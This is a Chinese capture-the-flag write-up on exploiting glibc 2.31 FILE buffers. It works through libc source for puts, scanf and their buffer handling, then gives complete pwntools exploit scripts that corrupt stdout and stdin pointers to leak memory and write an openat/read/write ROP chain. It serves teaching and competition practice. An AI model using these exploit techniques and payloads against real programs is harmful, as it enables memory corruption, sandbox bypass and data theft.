Pwn FIEL 利用之 IO Buffer

FILE 设计了缓存区, 并且指针在 FILE 结构里. _IO_buf_base_IO_buf_end 就分别指向了缓存区的起始地址和结束地址. 而关于读写的三个指针, 是同时使用这一块缓存区的. 比如以写操作为例, _IO_write_base, _IO_write_ptr, _IO_write_end 分别指向缓存区起始位置, 用户向缓存区写入的位置, 缓存区结束. 这些指针理论上来说都应该在 _IO_buf_base_IO_buf_end 之内.

接下来就看程序会执行什么函数, 找满足什么条件能够 overflow (或者 underflow) 并且绕过, 通过覆盖缓存区指针, 构造任意地址读写.

下面会结合例题和 libc 源码, 详细讲如何构造和利用.

64 位 ELF, 保护全开, glibc 2.31. 程序首先读取了 /flag 的内容到 mmap 出的固定地址 0x233000 上. 然后设置沙箱, 基本上只允许读写. 最后执行 vuln 函数, 给出 libc 地址, 并且可以向任意地址写入 0x38 个字节.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
void __noreturn vuln()
{
  void *buf[2]; // [rsp+0h] [rbp-10h] BYREF

  buf[1] = (void *)__readfsqword(0x28u);
  buf[0] = 0LL;
  puts("Hiiii!My beeest friend.So glad that you come again.This time you need to read the flag.");
  printf("Here is your gift: %p\nGood luck!\n", &puts);
  printf("Addr: ");
  read(0, buf, 8uLL);
  printf("Data: ");
  read(0, buf[0], 0x38uLL);
  puts("Did you get that?");
  _exit(0);
}

思路就是修改 stdout 的缓冲区, 设置到 0x233000 上, 并且构造溢出条件, 使得最后一句 puts 函数打印出 flag.

我们首先来看 libc 的 puts:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
int
_IO_puts (const char *str)
{
  int result = EOF;
  size_t len = strlen (str);
  _IO_acquire_lock (stdout);
  if ((_IO_vtable_offset (stdout) != 0
       || _IO_fwide (stdout, -1) == -1)
      && _IO_sputn (stdout, str, len) == len
      && _IO_putc_unlocked ('\n', stdout) != EOF)
    result = MIN (INT_MAX, len + 1);
  _IO_release_lock (stdout);
  return result;
}
weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)

其实就是检查封装调用 _IO_sputn, 也就是虚函数表的 _IO_XSPUTN 项, 默认为 _IO_file_xsputn.

一点点读.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
  const char *s = (const char *) data;
  size_t to_do = n;
  int must_flush = 0;
  size_t count = 0;
  if (n <= 0)
    return 0;
  ...
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

to_do 是需要写的字节数量, must_flush 是是否需要刷新缓冲区, count 是缓冲区剩余字节数.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
  /* This is an optimized implementation.
     If the amount to be written straddles a block boundary
     (or the filebuf is unbuffered), use sys_write directly. */
  /* First figure out how much space is available in the buffer. */
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    {
      count = f->_IO_buf_end - f->_IO_write_ptr;
      if (count >= n)
  {
    const char *p;
    for (p = s + n; p > s; )
      {
        if (*--p == '\n')
    {
      count = p - s + 1;
      must_flush = 1;
      break;
    }
      }
  }
    }
  else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

这一段主要在看是否需要刷新缓冲区, 并且计算缓冲区剩余空间. 其中第一个 if 是看类型是否为行缓冲, 并且正在输出. (实际上就是看两个标志位而已, 而且打的时候也可以去覆盖 _flags 来进入这个 if)

这里用了一个 trick, 行缓冲的话, 找到最后一个换行, 然后设置 count 到这里, 相当于认为缓冲区大小就是这么多, 为下面的逻辑统一.

1
2
3
4
5
6
7
8
9
  /* Then fill the buffer. */
  if (count > 0)
    {
      if (count > to_do)
  count = to_do;
      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
      s += count;
      to_do -= count;
    }

接下来把内容复制到缓冲区, 并且修改 _IO_write_ptr 指针, 写入指针 s, 还需写入数量 to_do.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
  if (to_do + must_flush > 0)
    {
      size_t block_size, do_write;
      /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)
  /* If nothing else has to be written we must not signal the
     caller that everything has been written.  */
  return to_do == 0 ? EOF : n - to_do;
    }
  ...

如果不需要强制缓冲, 或者没有需要继续写的了, 就不会执行这个 if 里的刷新缓冲. 否则进入 if, 先执行 _IO_OVERFLOW 刷新当前已经写满的缓冲区, 然后继续处理写的过程 (不是重点, 代码里跳过了, 之前介绍 fwrite 的时候已经分析过了).

不过里没有 puts 补的那一个 \n, 所以在处理行缓冲的时候, 是不会设置 must_flush 的. 如果想要刷新缓冲区以打印我们需要 leak 的内容, 就必须构造 to_do 大于 0.

调试一下, 发现 stdout 的 _flags 有之前看到的那两个标志, 所以根据代码, count = f->_IO_buf_end - f->_IO_write_ptr. 我们又知道最后 puts 的内容是 Did you get that?, 也就是知道传入的参数 n. 所以, 只要 to_do - count > 0 即可让其调用 _IO_OVERFLOW.

再来看看 _IO_OVERFLOW 需要满足什么条件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
int
_IO_new_file_overflow (FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  ...
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)

首先 _flags 不能有 _IO_NO_WRITES 位. 由于我们打的 stdout, 他就是 wirte, 没有这一位, 所以这个条件满足.

1
2
3
4
5
6
7
8
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
      ...
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
       f->_IO_write_ptr - f->_IO_write_base);

接下来有个 if, 调试发现 stdout 的 _IO_CURRENTLY_PUTTING 是 1, 并且可以写 _IO_write_base 为非 NULL, 所以这个 if 里面可以不用管, 因为下面有更简单的逻辑. 上一个函数调用时传入的 ch 正是 EOF, 所以接着调用 _IO_do_write

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

int
_IO_new_do_write (FILE *fp, const char *data, size_t to_do)
{
  return (to_do == 0
    || (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
  size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      off64_t new_pos
  = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
  return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  ... // write 完了, 后面的也不重要了
}

这里处理了一下 _offset. 本着能省事就省事的原则, 可以通过设置 _flags_IO_IS_APPENDING 位或者 fp->_IO_read_end == fp->_IO_write_base, 从而执行系统调用写, 真正写到屏幕上. (if 中间那个 SEEK 在打 stdout 一般都是不行的, 暂时没研究为什么)

调试发现, stdout 的 _IO_IS_APPENDING 是 0. 如果我们去覆盖 _flags, 而 7 * 8 个字节能用, 覆盖不到 _IO_buf_end, 所以只能设置 fp->_IO_read_end == fp->_IO_write_base. 也就是说, 所有需要设置的是 _IO_read_end_IO_buf_end, 刚好 7 * 8 个字节.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

# io = process(procname, stdin=PTY)
io = remote('node4.buuoj.cn', 26694)
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
  return str(x).encode()

def one_gadgets():
  result = [int(i) for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
  debug(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
  return result

buf_base = 0x233000
buf_end = buf_base + 0x50
flag_start = buf_base
flag_end = flag_start + 0x40

puts = int(io.recvuntil(b'\nGood luck!\n', drop=True)[-14:], 16)
libc.address = puts - libc.sym['puts']
success(f'leak libc: {hex(libc.address)}')

debug(f'_IO_new_file_xsputn: {hex(libc.sym["_IO_file_xsputn"])}')
debug(f'_IO_2_1_stdout_: {hex(libc.sym["_IO_2_1_stdout_"])}')
debug(f'_IO_file_overflow: {hex(libc.sym["_IO_file_overflow"])}')
debug(f'_IO_do_write: {hex(libc.sym["_IO_do_write"])}')

target = libc.sym['_IO_2_1_stdout_'] + 0x8 * 2
pause()
io.sendafter(b'Addr: ', p64(target))

payload = flat([
  p64(buf_base),            # read end
  p64(buf_base),            # read base
  p64(buf_base),            # write base
  p64(flag_end),            # write ptr
  p64(buf_end),             # write end
  p64(buf_base),            # base
  p64(buf_end),             # end
])
io.sendafter(b'Data: ', payload)

io.interactive()

(找条件还挺好玩的, 就是有点麻烦. 之后最好总结一下, 打比赛碰到直接查表就方便多了)


麻, 自己打了个奇怪的东西 (不过也好, 洞是自己挖的, 成就感++).

一般的任意地址读不是上面那样…

回来看 _IO_new_file_xsputn:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    ... // 行缓冲处理
  else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr;
  if (count > 0)
    ... // 填缓冲区
  if (to_do + must_flush > 0)
    {
      size_t block_size, do_write;
      /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)
  /* If nothing else has to be written we must not signal the
     caller that everything has been written.  */
  return to_do == 0 ? EOF : n - to_do;
    }

如果没有行缓冲, 并且 f->_IO_write_end == f->_IO_write_ptr 的话, 压根就不会进前两个分支. 此时 count 还是 0, 直接就到 overflow 去了. 而之后并没有用到 f->_IO_buf_end, 所以并不用覆盖这个. 这是好事. 因为 overflow 调用 do write 写完以后, 会把 write, read 相关指针恢复到 buf_base 处. 那么这一次为了泄漏而修改的缓冲区指针, 都会恢复成原来的模样.

所以这个 payload 也可以这么写 (其实一般也都这么写):

1
2
3
4
5
6
7
8
9
payload = flat([
  p64(0xfbad1800), # _flags
  p64(0),          # read ptr
  p64(0),          # read end
  p64(0),          # read base
  p64(flag_start), # write base
  p64(flag_end),   # write ptr
  p64(flag_end),   # write end
])

同样保护全开, 还有沙箱 (不能execve, execveat, open, 但是可以 openat), 那么就要想办法 orw.

程序的漏洞可以写 .bss 上的 stdout, stdin, stderr. 想要 orw, 可以在某个返回地址处构造 ROP. 那么这里就要实现任意地址读和任意地址写两个方面. 同时, 还要泄漏一些信息.

覆盖 stdout 的缓存指针, 可以 leak libc. 这也是一个常见的技巧.

_IO_OVERFLOW 中, 调用的是 IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base);, 也就是最后打印出来的内容是从 _IO_write_base 开始的. 在分析程序执行流的时候 (看上面) 可以发现, 从 puts 到 _IO_OVERFLOW, 都没有对 _IO_write_base 的安全检测. 所以, 如果我们能够改这个值 (一般是减小一点), 并且通过接下来的检测, 即 _IO_IS_APPENDINGfp->_IO_read_end == fp->_IO_write_base, 就能够泄漏 原来 _IO_write_base 前面的内容, 这一部分内容就有可能包含 libc 地址. 可以看到, 这题显然是设置 _IO_IS_APPENDING 更容易绕过.

同样, 也没有对 read 的三个指针进行检查, 所以直接都覆盖为 0 也没问题.

减小 _IO_write_base 也很简单, 只需要把低位覆盖为 0 即可.

技巧
实际上低 12 位是页内偏移, 是已知内容, 所以 0x100 之内的都可以随意设置到想要的部分. 再高一字节仅有 4 位是随机的, 也可以通过随机爆破来设置想要的部分. 这样的随机爆破技巧在之前 2022 鹏城杯 One 这题也用过.
payload:

1
2
3
4
5
6
payload = flat([
p64(0xfbad3887),     # _flags
p64(0),              # read ptr
p64(0),              # read end
p64(0),              # read base
]) + b'\x00'         # write base low

这就有点像上面任意地址写的那个了. write_ptr = write_end 触发 overflow, do write 完后改回去.

注意
当程序设置了 setvbuf 0 的时候才满足 write_ptr = write_end 这个条件. 否则因为缓冲区的存在, write_ptr < write_end, 必须碰巧有个换行, 或者缓冲区填满, 才可以造成 overflow 达到读的效果. 如果有条件构造缓冲区写满那也是可以的, 比如可以输出字符先填一填缓冲区.

调试一下会发现, 可以得到 libc 地址.

接着用上面一个例题介绍过的 stdout 任意地址读的方法, 可以读一下 __environ leak stack. 栈上有返回地址啥的, 调试看看在哪, stdout 任意读, 就可以 leak proc 了.

这题需要写 owr, 需要写个 "/flag" 上去, 可以写在堆上. 有 proc, leak heap 也很容易. (当然完全可以不用 leak heap, 通过下面说的 stdin 任意写写栈上也是可以的)

程序的每个部分都 leak 掉了, 就差任意写了.

这道题的读入函数除了系统调用以外 (因为系统调用不使用缓存区, 所以没法利用), 就只有菜单那里用 scanf 读了一个数字的地方.

简单介绍一下 scanf 的源码 (因为整个太长了, 看不下去).

首先是个封装:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int
__scanf (const char *format, ...)
{
  va_list arg;
  int done;
  va_start (arg, format);
  done = __vfscanf_internal (stdin, format, arg, 0);
  va_end (arg);
  return done;
}
ldbl_strong_alias (__scanf, scanf)

首先初始化一下可变参数列表, 然后主要调用的是 __vfscanf_internal:

1
int __vfscanf_internal(FILE *s, const char *format, va_list argptr, unsigned int mode_flags)

函数定义上, 其中, s 是文件流, format 是字符流.

vfscanf 的操作大概如下, 首先从 format 中读取格式, 确定需要从 s 中读的类型, 然后从 s 中读取. 如果读碰到类型结束, 则需要把当前这个放回流 s 中去, 供下一次读取.

比如 scanf("%d"), 输入的是 "12\n", 那么先读取 format"%d", 就知道应该读取一个数字. 所以再从 s 中读取, 读到一个 1, 继续读, 读到一个 2, 继续读, 读到一个 \n, \n 不是数字, 于是会将 \n 放回流 s 中去.

读取的时候, 用的是 inchar 这个宏, 定义如下:

1
2
3
4
5
# define inchar() (c == EOF ? ((errno = inchar_errno), EOF)       \
       : ((c = _IO_getc_unlocked (s)),          \
          (void) (c != EOF              \
            ? ++read_in             \
            : (size_t) (inchar_errno = errno)), c))

其中, 负责真正输入的是一个宏 _IO_getc_unlocked. 它在 libcio.h 中定义. 它是另一宏 __getc_unlocked_body, 在 libio/bits/types/struct_FILE.h 中定义:

1
2
3
4
5
6
#define _IO_getc_unlocked(_fp) __getc_unlocked_body (_fp)

/* These macros are used by bits/stdio.h and internal headers.  */
#define __getc_unlocked_body(_fp)         \
  (__glibc_unlikely ((_fp)->_IO_read_ptr >= (_fp)->_IO_read_end)  \
   ? __uflow (_fp) : *(unsigned char *) (_fp)->_IO_read_ptr++)

这个是看读缓冲区 (read buf 的三个指针) 有没有溢出, 有的话需要 __uflow underflow 一下; 没有的话, 直接移动 ptr 指针, 这样就读取了在缓冲区里的字符.

__uflow 就是虚表中的 _IO_file_underflow, 默认为 _IO_file_underflow. 这里会进行新的一次缓存区读取. 一步一步看这个函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int
_IO_new_file_underflow (FILE *fp)
{
  ssize_t count;
  /* C99 requires EOF to be "sticky".  */
  if (fp->_flags & _IO_EOF_SEEN)
    return EOF;
  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;
  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
  {
    free (fp->_IO_save_base);
    fp->_flags &= ~_IO_IN_BACKUP;
  }
      _IO_doallocbuf (fp);
    }
  ...
}

首先会判断一下 flag, 保证可以读取. 然后检查指针, 看是不是真的 underflow 了. 然后看有没有缓存区 (未开辟的话 _IO_buf_baseNULL, 注意 setvbuf 0 的话 “缓存区” 长度是 1, 而不是 “完全没有缓冲区”), 没有的话 (第一次使用) 则开辟.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
  /* FIXME This can/should be moved to genops ?? */
  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
      /* We used to flush all line-buffered stream.  This really isn't
   required by any standard.  My recollection is that
   traditional Unix systems did this for stdout.  stderr better
   not be line buffered.  So we do just that here
   explicitly.  --drepper */
      _IO_acquire_lock (stdout);
      if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
    == (_IO_LINKED | _IO_LINE_BUF))
  _IO_OVERFLOW (stdout, EOF);
      _IO_release_lock (stdout);
    }
  _IO_switch_to_get_mode (fp);

然后进行一些行缓冲处理和模式切换 (和我们的利用关系不大, 不 讲了)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
  /* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
           fp->_IO_buf_end - fp->_IO_buf_base);

设置缓冲区, 并使用系统调用进行读入, 数据放在 _IO_buf_base_IO_buf_end 之间. 之后是读入结束的一些处理, 不列出来了.

所以要用 stdin 的缓存区进行任意地址写, 需要

  1. read ptr == read end, 使其进入 underflow
  2. _flags 没有 _IO_EOF_SEEN_IO_NO_READS. 一般不需要特别考虑, 调试下抄 stdin 原来的就行.
  3. 写的地方是 _IO_buf_base, 还缓存区需要长度大于输入长度, 否则读不完. 一般来说, 我们希望一次写完. end 可以开大一点.

此外, 没有任何检查, 所以可以直接令 read 和 write 的三个指针为 NULL (当然如果可以不覆盖直接修改 base 的话就不用管 write 了).

利用任意地址写, 在 scanf 返回地址上构造 orw 的 ROP 即可.

exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
    return str(x).encode()

def one_gadgets():
    result = [int(i) for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
    debug(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
    return result

def op(x):
    io.sendlineafter(b'>> ', n2b(x))

def edit(idx, content):
    op(3)
    io.sendafter(b'Index:', n2b(idx))
    io.sendafter(b'Content:', content)

def add(content):
    op(1)
    io.sendafter(b'Any data?\n', content)

def read(addr, length):
    payload = flat([
        p64(0xfbad3887),        # _flags
        p64(0),                 # read ptr
        p64(0),                 # read end
        p64(0),                 # read base
        p64(addr),              # write base
        p64(addr + length),     # write ptr
        p64(addr + length),     # write end
    ])
    edit(-8, payload)
    return io.recv(length)

payload = flat([
    p64(0xfbad3887),        # _flags
    p64(0),                 # read ptr
    p64(0),                 # read end
    p64(0),                 # read base
]) + b'\x00'                # write base low
edit(-8, payload)
libc.address = u64(io.recv(16)[-8:]) - 0x1ec980
success(f'leak libc: {hex(libc.address)}')

stack = u64(read(libc.sym['__environ'], 8))
success(f'leak stack: {hex(stack)}')

puts_ret = stack - 0x120
elf.address = u64(read(puts_ret, 8)) - 0x1015
success(f'leak proc: {hex(elf.address)}')

add(b'/flag\x00')
heap = u64(read(elf.address + 0x202060, 8)) - 0x2a0
success(f'leak heap: {hex(heap)}')

leave_ret = elf.address + 0xf11
pop_rdi_ret = elf.address + 0x10a3
pop_rsi_r15_ret = elf.address + 0x10a1
pop_rdx_rbp_r12 = libc.address + 0x000bc91d

scanf_ret = stack - 0x120
payload = flat([
    p64(0xfbad208b),        # _flags
    p64(0),                 # read ptr
    p64(0),                 # read end
    p64(0),                 # read base
    p64(0),                 # write base
    p64(0),                 # write ptr
    p64(0),                 # write end
    p64(scanf_ret),         # buf base
    p64(scanf_ret + 0x100), # buf end
])
edit(-6, payload)

payload = flat([
    p64(pop_rdi_ret), p64(3),
    p64(pop_rsi_r15_ret), p64(heap + 0x2a0), p64(0),
    p64(pop_rdx_rbp_r12), p64(0), p64(0), p64(0),
    p64(libc.sym['openat']),

    p64(pop_rsi_r15_ret), p64(heap + 0x2b0), p64(0),
    p64(pop_rdx_rbp_r12), p64(0x40), p64(0), p64(0),
    p64(libc.sym['read']),

    p64(pop_rdi_ret),
    p64(1),
    p64(libc.sym['write'])
])
io.sendafter(b'>> ', payload)

io.interactive()

🐎, 隔了一个多月才补完的, 差点就忘记我写了啥